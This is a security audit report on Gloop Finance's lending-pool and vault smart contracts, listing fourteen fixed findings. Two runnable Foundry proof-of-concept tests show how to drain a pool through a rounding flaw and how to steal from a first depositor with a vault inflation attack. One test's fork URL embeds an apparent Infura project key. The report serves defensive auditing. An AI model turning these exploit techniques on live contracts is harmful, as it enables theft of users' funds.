Halborn Logo

GMI and Lending - Gloop Finance


Prepared by:

Halborn Logo

HALBORN

Last Updated 07/19/2024

Date of Engagement by: June 12th, 2024 - June 28th, 2024

Summary

100% of all REPORTED Findings have been addressed

All findings

14

Critical

3

High

1

Medium

3

Low

3

Informational

4


1. Introduction

The Gloop Finance team engaged Halborn to conduct a security assessment on their smart contracts, beginning on June 12, 2024, and ending on June 28, 2024. The security assessment was scoped to the smart contracts inside their gm-lending-protocol GitHub repository, located at https://github.com/GloopFinance/gm-lending-protocol, branch audit/halborn, and gmi GitHub repository, located at https://github.com/GloopFinance/gmi, branch audit/halborn.

2. Assessment Summary

The team at Halborn was provided two weeks and three days for the engagement and assigned one full-time security engineer to assess the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to achieve the following:

    • Ensure that the system operates as intended.

    • Identify potential security issues.

    • Identify lack of best practices within the codebase.

    • Identify systematic risks that may pose a threat in future releases.

In summary, Halborn identified some security issues that were successfully addressed by the Gloop Finance team.

3. Test Approach and Methodology

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the assessment:

    • Research into architecture and purpose.

    • Smart contract manual code review and walkthrough.

    • Graphing out functionality and contract logic/connectivity/functions (solgraph).

    • Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic-related vulnerability classes.

    • Manual testing by custom scripts.

    • Static Analysis of security for scoped contract, and imported functions (slither).

    • Testnet deployment (Foundry).

4. RISK METHODOLOGY

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the LIKELIHOOD of a security incident and the IMPACT should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.
RISK SCALE - LIKELIHOOD
  • 5 - Almost certain an incident will occur.
  • 4 - High probability of an incident occurring.
  • 3 - Potential of a security incident in the long term.
  • 2 - Low probability of an incident occurring.
  • 1 - Very unlikely issue will cause an incident.
RISK SCALE - IMPACT
  • 5 - May cause devastating and unrecoverable impact or loss.
  • 4 - May cause a significant level of impact or loss.
  • 3 - May cause a partial impact or loss to many.
  • 2 - May cause temporary impact or loss.
  • 1 - May cause minimal or un-noticeable impact.
The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.
Critical
High
Medium
Low
Informational
  • 10 - CRITICAL
  • 9 - 8 - HIGH
  • 7 - 6 - MEDIUM
  • 5 - 4 - LOW
  • 3 - 1 - VERY LOW AND INFORMATIONAL

5. SCOPE

Files and Repository
(a) Repository: gmi
(b) Assessed Commit ID:
(c) Items in scope:
  • ./src/GMIZap.sol
Out-of-Scope:
Files and Repository
(a) Repository: gm-lending-protocol
(b) Assessed Commit ID:
(c) Items in scope:
  • ./src/GMInterestRateModel.sol
  • ./src/GMPoints.sol
  • ./src/GMPriceOracle.sol
↓ Expand ↓
Out-of-Scope:
Remediation Commit ID:
Out-of-Scope: New features/implementations after the remediation commit IDs.

6. Assessment Summary & Findings Overview

Critical

3

High

1

Medium

3

Low

3

Informational

4

Impact x Likelihood

HAL-08

HAL-15

HAL-10

HAL-03

HAL-07

HAL-06

HAL-14

HAL-13

HAL-09

HAL-04

HAL-01

HAL-05

HAL-12

HAL-11

Security analysisRisk levelRemediation Date
Rounding issue makes it possible to steal all assets from the poolCriticalSolved - 07/14/2024
LendingPool::repay is missing the updatePoints modifierCriticalSolved - 06/25/2024
Utilization rate does not account for borrows in the denominatorCriticalSolved - 07/01/2024
GMVault suffers from inflation attacksHighSolved - 06/26/2024
Multiple typos make GMIZap impossible to compileMediumSolved - 07/05/2024
GMPriceOracle does not check for Chainlink stale pricesMediumSolved - 06/24/2024
gloopStakersWallet set to the wrong addressMediumSolved - 07/10/2024
GMPriceOracle does not check for for the Chainlink sequencer to NOT be downLowSolved - 06/24/2024
Bad debt may appear on the system if vaults are pausedLowSolved - 07/10/2024
Wrong logic inside LendingPool::disableAssetLowSolved - 06/26/2024
LendingPoolFactory missing logicInformationalSolved - 07/10/2024
UtilizationRate should be upper capped by 1e18InformationalSolved - 07/10/2024
Wrong number of blocks per annumInformationalSolved - 07/10/2024
GMPriceOracle::getUnderlyingPrice should revert if the asset is not supportedInformationalSolved - 07/06/2024

7. Findings & Tech Details

7.1 Rounding issue makes it possible to steal all assets from the pool

// Critical

Description

In the LendingPool contract, the withdraw function suffers from two related issues, namely the required shares to withdraw a certain amount of assets can be 0 and the fact that this calculation rounds down. That makes it possible, among other factors, to have the following toy scenario:

  • Given the state where the total amount of assets in the vault is 7500000000000000001 [7.5e18] and there are 2 shares between two different users.

  • The split would be 3750000000000000000 [3.75e18] for each, with 1 wei being on the vault due to rounding down.

  • As the shares calculation rounds down in withdraw, you can pass as amount = 3.75e18, then amount.mulDivDown(baseUnits[asset], internalBalanceExchangeRate(asset)) = 3.75e18 * 1e6 / 3750000000000000000500000 = 3.75e24 / 3750000000000000000500000 = 0 shares.

  • The pool goes and transfers 3.75e18 assets out of the vault without discounting the shares of the attacker as 0 <= x for all x.

  • This can be repeated again and again until there is just 1 wei in the underlying vault OR you can directly withdraw all assets from the vault as shown in the runnable POC.

Proof of Concept

The best way to visualize the flaw is with a runnable POC:

    function test_deposit_poc() external {
        uint256 initialAmount = 1;
        uint256 userDeposit = 5 ether;
        uint256 directTransfer =  5 ether / 2;

        address attacker = makeAddr("attacker");
        address user = makeAddr("user");

        deal(address(borrowAsset), attacker, 5 ether);
        deal(address(borrowAsset), user, 5 ether);

        console2.log("Asset balance of the attacker BEFORE = ", borrowAsset.balanceOf(attacker));
        console2.log("Asset balance of the user BEFORE = ", borrowAsset.balanceOf(user));
        console2.log("");

        vm.startPrank(attacker);
        borrowAsset.approve(address(pool), type(uint256).max);
        pool.deposit(borrowAsset, initialAmount);
        vm.stopPrank();

        vm.prank(attacker);
        borrowAsset.transfer(address(vault), directTransfer);

        vm.startPrank(user);
        borrowAsset.approve(address(pool), type(uint256).max);
        pool.deposit(borrowAsset, userDeposit);
        vm.stopPrank();

        console2.log("Internal balance of the attacker MID = ", pool.balanceOf(borrowAsset, attacker));
        console2.log("Internal balance of the user MID = ", pool.balanceOf(borrowAsset, user));
        console2.log("Asset balance of the attacker MID = ", borrowAsset.balanceOf(attacker));
        console2.log("Asset balance of the user MID = ", borrowAsset.balanceOf(user));

        console2.log("Balance of the pool's vault MID = ", borrowAsset.balanceOf(address(vault)));
        console2.log("");

        vm.prank(attacker);
        pool.withdraw(borrowAsset, directTransfer + userDeposit);

        console2.log("Internal balance of the attacker AFTER = ", pool.balanceOf(borrowAsset, attacker));
        console2.log("Internal balance of the user AFTER = ", pool.balanceOf(borrowAsset, user));
        console2.log("Asset balance of the attacker AFTER = ", borrowAsset.balanceOf(attacker));
        console2.log("Asset balance of the user AFTER = ", borrowAsset.balanceOf(user));

        console2.log("Balance of the pool's vault AFTER = ", borrowAsset.balanceOf(address(vault)));
    }   

whose expected output is:

It can be seen how it is possible to steal the whole pool by just using 1 wei.

BVSS
Recommendation

There are two issues that must be addressed:

  1. Require that the number of shares to use when withdrawing a certain amount of assets is non-zero.

  2. Round-up the number of shares required to prevent offering "discounted" asset in withdraw.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.2 LendingPool::repay is missing the updatePoints modifier

// Critical

Description

The function repay in LendingPool does not have the updatePoints modifier in its function definition like the others. That makes calls to this function to not account for the accrued points, meaning a loss of funds for users who used their assets with the expectation to, among other things, earn points to be cashed out later on. This behavior is the reason the test testBorrowingAndRepayingUSDCEarnsGMPoints reverts, as the expected functionality is missing.

Proof of Concept

It can be seen in the repay function definition that updatePoints is missing:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/LendingPool.sol#L488

    function repay(ERC20 asset, uint256 amount) external {
        ...
    }

which is not the same in its counterparts deposit, withdraw and borrow:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/LendingPool.sol#L318C1-L321C76

    function deposit(
        ERC20 asset,
        uint256 amount
    ) external updatePoints(asset, GMPoints.PoolActivity.Deposit, amount) {
        ...
    }

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/LendingPool.sol#L362C1-L365C77

    function withdraw(
        ERC20 asset,
        uint256 amount
    ) external updatePoints(asset, GMPoints.PoolActivity.Withdraw, amount) {
        ...
    }

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/LendingPool.sol#L433C1-L436C75

    function borrow(
        ERC20 asset,
        uint256 amount
    ) external updatePoints(asset, GMPoints.PoolActivity.Borrow, amount) {
        ...
    }
BVSS
Recommendation

Add the modifier to the repay function definition.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.3 Utilization rate does not account for borrows in the denominator

// Critical

Description

The utilization ratio is calculated as the percentage of assets that are being borrowed from the whole pool of assets. For that, the formula considers the amount of borrowed assets itself as part of the whole pool. However, GMInterestRateModel::utilizationRate does not include them in the denominator, which makes it possible to have utilization above 100%, which, apart from being wrong, would not be reflecting the actual utilization rate of the assets in a pool.

Proof of Concept

If we go to the definition of utilizationRate function in:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/GMInterestRateModel.sol#L61

    function utilizationRate(uint256 cash, uint256 borrows, uint256 reserves) public view returns (uint256) {
        // Utilization rate is 0 when there are no borrows
        if (borrows == 0) {
            return 0;
        }

        // return (borrows * 1e18) / (cash + borrows - reserves);
        return borrows.divWadDown((cash - reserves));
    }

we see that the formula it uses is:

(borrows * 1e18) / (cash - reserves)

with:

  • borrows being the amount of assets borrowed

  • cash the amount of assets that can be borrowed

  • reserves the amount of the reserves

It can be seen in the denominator, although the comments includes borrows as in the reference post, it does not include it in the calculation being done in the return statement. That leads, for example, to returning utilizations above 1e18 = 100%, which makes no sense:

  • borrows = 2e18

  • cash = 1e18

  • reserves = 0

which would mean the utilization of the pool is 66.6%. The function would return:

(2e18 * 1e18) / (1e18 - 0) = 2e18 = 200%

which is not the expected 66.6% = 66e16. If it did account for the borrows then:

(2e18 * 1e18) / (1e18 + 2e18 - 0) = 2e36 / 3e18 = 66e16 = 66%

which is the expected amount. As the utilization is used as a "bonus" to the base borrow rate, this would make borrow rates spike much more than intended.

BVSS
Recommendation

Just include borrows in the denominator as stated in the comment and the referenced post:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/GMInterestRateModel.sol#L68

    function utilizationRate(uint256 cash, uint256 borrows, uint256 reserves) public view returns (uint256) {
        // Utilization rate is 0 when there are no borrows
        if (borrows == 0) {
            return 0;
        }

        // return (borrows * 1e18) / (cash + borrows - reserves);
-       return borrows.divWadDown((cash - reserves));
+       return borrows.divWadDown((cash + borrows - reserves));
    }

Remediation Plan

SOLVED: The Gloop Finance Team solved this issue as recommended above.


Remediation Hash
References

7.4 GMVault suffers from inflation attacks

// High

Description

The GMVault ERC4626 vaults inherit from Somlate's ERC4626 vaults, which suffer from a variation of the vanilla inflation attack where it is possible to steal roughly 25% of the assets from the first depositor. As they relay all the logic to the Solmate's one, by extension, GMVaults suffer from this issue too.

Proof of Concept

This is better seen with a runnable POC. The idea is to make the conversion to assets become 1 instead of 0, and sending half of what the user wants to deposit as a donation to the contract directly:

pragma solidity 0.8.25;

import {Test, console2} from "forge-std/Test.sol";
import {GMVault} from "../src/GMVault.sol";
import {ERC20, ERC4626} from "solmate/tokens/ERC4626.sol";

contract VaultMock is ERC4626 {
    constructor(ERC20 asset, string memory name, string memory symbol) ERC4626(asset, name, symbol) {}

    function totalAssets() public view override returns (uint256) {
        return asset.balanceOf(address(this));
    }
}

contract POC is Test {
    VaultMock vault;
    ERC20 weth = ERC20(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    address attacker = makeAddr("attacker");
    address user = makeAddr("user");

    function testPOC() external {
        vm.selectFork(vm.createFork("https://mainnet.infura.io/v3/594fb3fab2a14f33abcd641d955787ab"));
        vault = new VaultMock(
            weth,
            string(""), // does not matter
            string("") // does not matter
        );

        vm.deal(attacker, 10 ether);
        vm.deal(user, 10 ether);

        vm.prank(attacker);
        address(weth).call{value : 10 ether}("");

        vm.prank(user);
        address(weth).call{value : 10 ether}("");

        console2.log("WETH balance of the attacker BEFORE = ", weth.balanceOf(attacker));
        console2.log("WETH balance of the user BEFORE = ", weth.balanceOf(user));

        console2.log("Shares balance of the attacker BEFORE = ", vault.balanceOf(attacker));
        console2.log("Shares balance of the user BEFORE = ", vault.balanceOf(user));

        console2.log("\n--------------------\n");

        vm.startPrank(attacker);
        weth.approve(address(vault), 10 ether);
        vault.mint(1, attacker); // mint 1 share
        weth.transfer(address(vault), 5 ether); // send half of what the user is willing to deposit
        vm.stopPrank();

        vm.startPrank(user);
        weth.approve(address(vault), 10 ether);
        vault.deposit(10 ether, user);
        vm.stopPrank();

        vm.startPrank(attacker);
        vault.approve(address(vault), type(uint256).max);
        vault.redeem(vault.balanceOf(attacker), attacker, attacker);
        vm.stopPrank();

        console2.log("WETH balance of the attacker AFTER = ", weth.balanceOf(attacker));
        console2.log("WETH balance of the user AFTER = ", weth.balanceOf(user));

        console2.log("Shares balance of the attacker AFTER = ", vault.balanceOf(attacker));
        console2.log("Shares balance of the user AFTER = ", vault.balanceOf(user));
    }
}

whose expected result is:

BVSS
Recommendation

It is recommended to use the OpenZeppelin ERC4626 vaults instead.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.5 Multiple typos make GMIZap impossible to compile

// Medium

Description

The following errors prevent the GMIZap file from being used, as the compilation step always reverts:

Error (2558): Exactly one argument expected for explicit type conversion.
  --> src/GMIZap.sol:58:25:
   |
58 |         require(name != bytes32("", "market not found"));
   |                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Error (8863): Different number of arguments in return statement than in returns declaration.
  --> src/GMIZap.sol:69:9:
   |
69 |         return gmIndex.deposit(name, _recipient, _amount, _minAmountOut);
   |         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
BVSS
Recommendation

For the first error, move the parenthesis to its correct position and for the second one, add a returns (uint256) statement in the function definition.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.6 GMPriceOracle does not check for Chainlink stale prices

// Medium

Description

Chainlink feeds return the time where the price feed was updated with the latest price. This is done to make it possible for developers to choose to either use a price or not if it is considered too old. However, the GMPriceOracle does not check this. If the returned pricing data is stale, the code will execute with prices that don’t reflect the current pricing resulting in a potential loss of funds for the user and/or the protocol, even liquidating users unfairly. It can be seen in the implementation of the getPriceFromChainlink:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/GMPriceOracle.sol#L59C1-L69C6

    function getPriceFromChainlink(address feedId) internal view returns (uint256) {
        AggregatorV3Interface dataFeed = AggregatorV3Interface(feedId);
        (
            ,
            /* uint80 roundID */ int answer /*uint startedAt*/ /*uint timeStamp*/ /*uint80 answeredInRound*/,
            ,
            ,

        ) = dataFeed.latestRoundData();
        return uint256(answer);
    }

that it does not check anything and returns answer without further validation of whether it is a stale price or not.

BVSS
Recommendation

Compare the returned timeStamp against a staleness factor to revert the transaction if the price data is too old. Moreover, as it is a generic implementation for all assets being used by the system, take into account that different feeds have different heartbeats so you would need to have a mapping of assets to staleness factors. You can check Chainlink’s list of Ethereum mainnet price feeds, selecting the “Show More Details” box, which will show the “Heartbeat” column for each feed, and use those values in your implementation.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.7 gloopStakersWallet set to the wrong address

// Medium

Description

Upon deployment, LendingPool's constructor sets to gloopStakersWallet to msg.sender:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/LendingPool.sol#L41

    constructor() Auth(Auth(msg.sender).owner(), Auth(msg.sender).authority()) {
        // Retrieve the name from the factory contract.
        name = LendingPoolFactory(msg.sender).poolDeploymentName();
        gloopStakersWallet = msg.sender;
    }

which is the LendingPoolFactory. That doesn't seem right as LendingPoolFactory does not have any method to claim the accrued yield each time accrueInterest is called, that is, either borrow or repay, so those funds will be permanently locked in the contract.

BVSS
Recommendation

Change gloopStakersWallet to a valid address upon deployment so that it can start accruing yield that can be claimed later on.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.8 GMPriceOracle does not check for for the Chainlink sequencer to NOT be down

// Low

Description

When utilizing Chainlink in L2 chains like Arbitrum, it's important to ensure that the prices provided are not falsely perceived as fresh, even when the sequencer is down. This is because the sequencer can be down, and a malicious actor could reuse invalid prices to gain advantage on the pool or even liquidate users in certain cases. It can be easily seen in the code responsible for that:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/GMPriceOracle.sol#L59C1-L69C6

    function getPriceFromChainlink(address feedId) internal view returns (uint256) {
        AggregatorV3Interface dataFeed = AggregatorV3Interface(feedId);
        (
            ,
            /* uint80 roundID */ int answer /*uint startedAt*/ /*uint timeStamp*/ /*uint80 answeredInRound*/,
            ,
            ,

        ) = dataFeed.latestRoundData();
        return uint256(answer);
    }

that it does not check anything and returns answer without further validation.

BVSS
Recommendation

As a reference, you can follow this implementation from Chainlink.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.9 Bad debt may appear on the system if vaults are paused

// Low

Description

There is a pausable functionality within the GMVaults, which are vanilla Solmate's ERC4626 vaults. The issue is that all functions are either paused or unpaused at the same time, which have multiple issues when integrating with the lending/borrowing functionality of LendingPool. For example, if the underlying vault of a borrow position is paused, and the position's health during that time falls below the health factor, that is, below 1e18, it won't be possible to liquidate such position until the vault is unpaused again, which means bad debt will remain on the system until such point. On the other hand, it is not possible to deposit more assets to maintain the health position above the safety threshold, as all functions in LendingPool call indirectly one of the functions of the underlying GMVault. So bad debt may start being generated on the system if the vaults are paused.

Proof of Concept

As this is a complex thing to write about, the following test shows that it is not possible to liquidate a position if the underlying vault is paused:

    address liquidatorUser = user2;
    uint256 repayAmount = 20e6; //borrowed 50e6

    function test_cannot_liquidate_paused() public {
        uint256 amount = 1e20;
        twoUsersDeposit_OneBorrows_PricesUpdated(amount, 1e18, 1e18);
        oracle.updatePrice(collateralAsset, 0.6e18);

        deal(address(usdcToken), liquidatorUser, repayAmount);

        vm.prank(vaultManager);
        collateralVault.pause();

        vm.startPrank(liquidatorUser);
        usdcToken.approve(address(pool), repayAmount);

        vm.expectRevert();
        pool.liquidateUser(borrowAsset, collateralAsset, address(this), repayAmount);

        vm.stopPrank();
    }

as the liquidate transaction would revert in the GMVault with the EnforcedPause error, even though the position is liquidatable.

BVSS
Recommendation

This is a complex topic as it depends on whether you want to secure user's assets or the overall health of the system. If the first is the choice you want, then the solution is opening a window after the unpause of the vault where users can deposit more collateral to make their positions healthier BEFORE liquidations can occur. If the second is the chosen option, then make it possible to liquidate users regardless of whether the vault is paused or not.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue by creating a window where users can deposit assets to increase the health factor of their debt BUT liquidations are rejected, soon after a vault is unpaused.

Remediation Hash

7.10 Wrong logic inside LendingPool::disableAsset

// Low

Description

When disabling a collateral from the LendingPool, it is removed from both the mapping enabledCollateral and the associated array userCollateral for a given user. However, it fails to remove the entry for userCollateral, as it does not remove the element from the array, it is only set to address(0), which is wrong as the length of the array does not decrease and, as time passes, the array becomes filled with null entries.

Proof of Concept

The LendingPool contract makes use of arrays to store the different ERC20 tokens users enable as collateral for further use. However, when removing them from the array, a call delete on the to-be-removed entry is done BUT it does not update the length of the array, so that the array will treat the removed element in storage as a valid entry. It can be seen pretty easily with the following test:

    function test_disable_fraud() external {
        // Enable asset as collateral.
        pool.enableAsset(collateralAsset);
        ERC20[] memory n = pool.getCollateral(address(this));
        console2.log("Token before in [0] = ", address(n[0]));
        uint256 length_before = n.length;

        // Disable the asset as collateral.
        pool.disableAsset(collateralAsset);

        n = pool.getCollateral(address(this));
        uint256 length_after = n.length;
        console2.log("Token after in [0] = ", address(n[0]));

        assertEq(length_before, length_after);
    }

whose expected output is:

BVSS
Recommendation

Call pop on the array to remove the last element after copying it to the to-be-removed entry so that the test given in the POC section reverts with an OOB access.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.11 LendingPoolFactory missing logic

// Informational

Description

The LendingPoolFactory contract inherits from Solmate's Auth contract, which is used to restrict access to certain functions. However, there is no function with the requireAuth modifier that restricts its access, which makes this inheritance useless.

https://github.com/GloopFinance/gm-lending-protocol/blob/audit/halborn/src/LendingPoolFactory.sol

contract LendingPoolFactory is Auth {

    ...

    function deployLendingPool(
        string memory name
    ) external returns (LendingPool pool, uint256 index) {
        ...
    }

    function getPoolFromNumber(uint256 id) external view returns (LendingPool pool) {
        ...
    }
}
BVSS
Recommendation

Put the requireAuth modifier in the deployLendingPool function declaration to restrict its access to a trusted party.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.12 UtilizationRate should be upper capped by 1e18

// Informational

Description

Just as an additional security measure, by definition, the utilization of the assets in a pool can NOT exceed 1e18 = 100% of the assets in a pool. Consider upper-capping the possible utilization to 1e18, so that if it is higher, reverts the transaction, as it means something wrong is happening on the pool's side.

Score
Recommendation

Cap the returned utilization to be less or equal than 1e18 and revert the transaction if it is higher, as it means something wrong is happening on the LendingPool side:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/GMInterestRateModel.sol#L61C1-L69C6

    function utilizationRate(uint256 cash, uint256 borrows, uint256 reserves) public view returns (uint256) {
        // Utilization rate is 0 when there are no borrows
        if (borrows == 0) {
            return 0;
        }

        // return (borrows * 1e18) / (cash + borrows - reserves);
-       return borrows.divWadDown((cash - reserves));
+       uint256 utilization = borrows.divWadDown((cash + borrows - reserves));
+       require(utilization <= 1e18, "whatever");
+       return utilization;
    }

Fixing the issue "Utilization rate does not account for borrows in the denominator" as well.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.13 Wrong number of blocks per annum

// Informational

Description

The project will be deployed on Arbitrum, which has an average block time of 0.25 seconds as seen here. However, the GMInterestRateModel contract treats the interest rates assuming 1e6 blocks/annum, which is wrong as

1 year * 365 days/year * 24 hour/day * 60 minute/hour * 60 seconds/minute) / 0.25 seconds/block = 126144000 >> 1e6 blocks/year

Although it is not an issue, I would recommend updating the comment accordingly.

Score
Recommendation

Change the comment to the correct one, considering the project is going to be deployed on Arbitrum, which has an average block time of 0.25 seconds:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/GMInterestRateModel.sol#L14

    // Following rates are per block interest rates
    //
-   uint256 minRate = 10e10; //10% per annum, considering 1e6 blocks per annum
+   uint256 minRate = 10e10; //10% per annum, considering ~126e6 blocks per annum
    uint256 vertexRate = 25e10; //25%
    uint256 maxRate = 35e10; //35%

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

7.14 GMPriceOracle::getUnderlyingPrice should revert if the asset is not supported

// Informational

Description

The whole project makes use of three GM tokens, namely gmBTC, gmETH and gmSOL, plus USDC. As the core logic of the lending pool does only account for these tokens, there is no need for the oracle to return a price of 0 when being queried with a different token:

https://github.com/GloopFinance/gm-lending-protocol/blob/37c4ebbf16e997a5aefad9c8c6715af8454ed14d/src/GMPriceOracle.sol#L55

    /// @dev All prices should return in 18 decimal denomination.
    function getUnderlyingPrice(ERC20 asset) public returns (uint256) {
        GMOracle oracle;
        if (address(asset) == usdcTokenAddress) {
            // Since all GM Oracles return 18 decimals, upscale Chainlink USDC price
            // (8 decimals) to 18 decimals.
            return getPriceFromChainlink(0x50834F3163758fcC1Df9973b6e91f0F0F0434aD3) * 10e10;
        } else if (address(asset) == gmTokensAddresses[0]) {
            oracle = GMOracle(0xe4c195ac97FE505Dc0A370CF1F1351595FA3F74f); //gmWBTC
        } else if (address(asset) == gmTokensAddresses[1]) {
            oracle = GMOracle(0x0dd6A15E056868CC6d70D7e6d2476459cD4257aA); //gmETH
        } else if (address(asset) == gmTokensAddresses[2]) {
            oracle = GMOracle(0xD3d055Ddbb11B6D08EE4F2B44550995E2B1874f5); //gmSol
        } else return 0; // <================ here
        (uint256 x, ) = oracle.getPrice();
        return x;
    }
Score
Recommendation

Although we could not find a way to leverage this to exploit the project, we strongly recommend reverting the whole transaction if the token is different from those mentioned above, that is, change the else return 0; to a revert statement.

Remediation Plan

SOLVED: The Gloop Finance team solved this issue as recommended above.

Remediation Hash

8. Automated Testing

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn verified the smart contracts in the repository and was able to compile them correctly into their ABIs and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.


Overall, the reported issues were not mostly low/informational issues that did not pose a real threat to the system, so they were not considered to be part of this report.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.

© Halborn 2024. All rights reserved.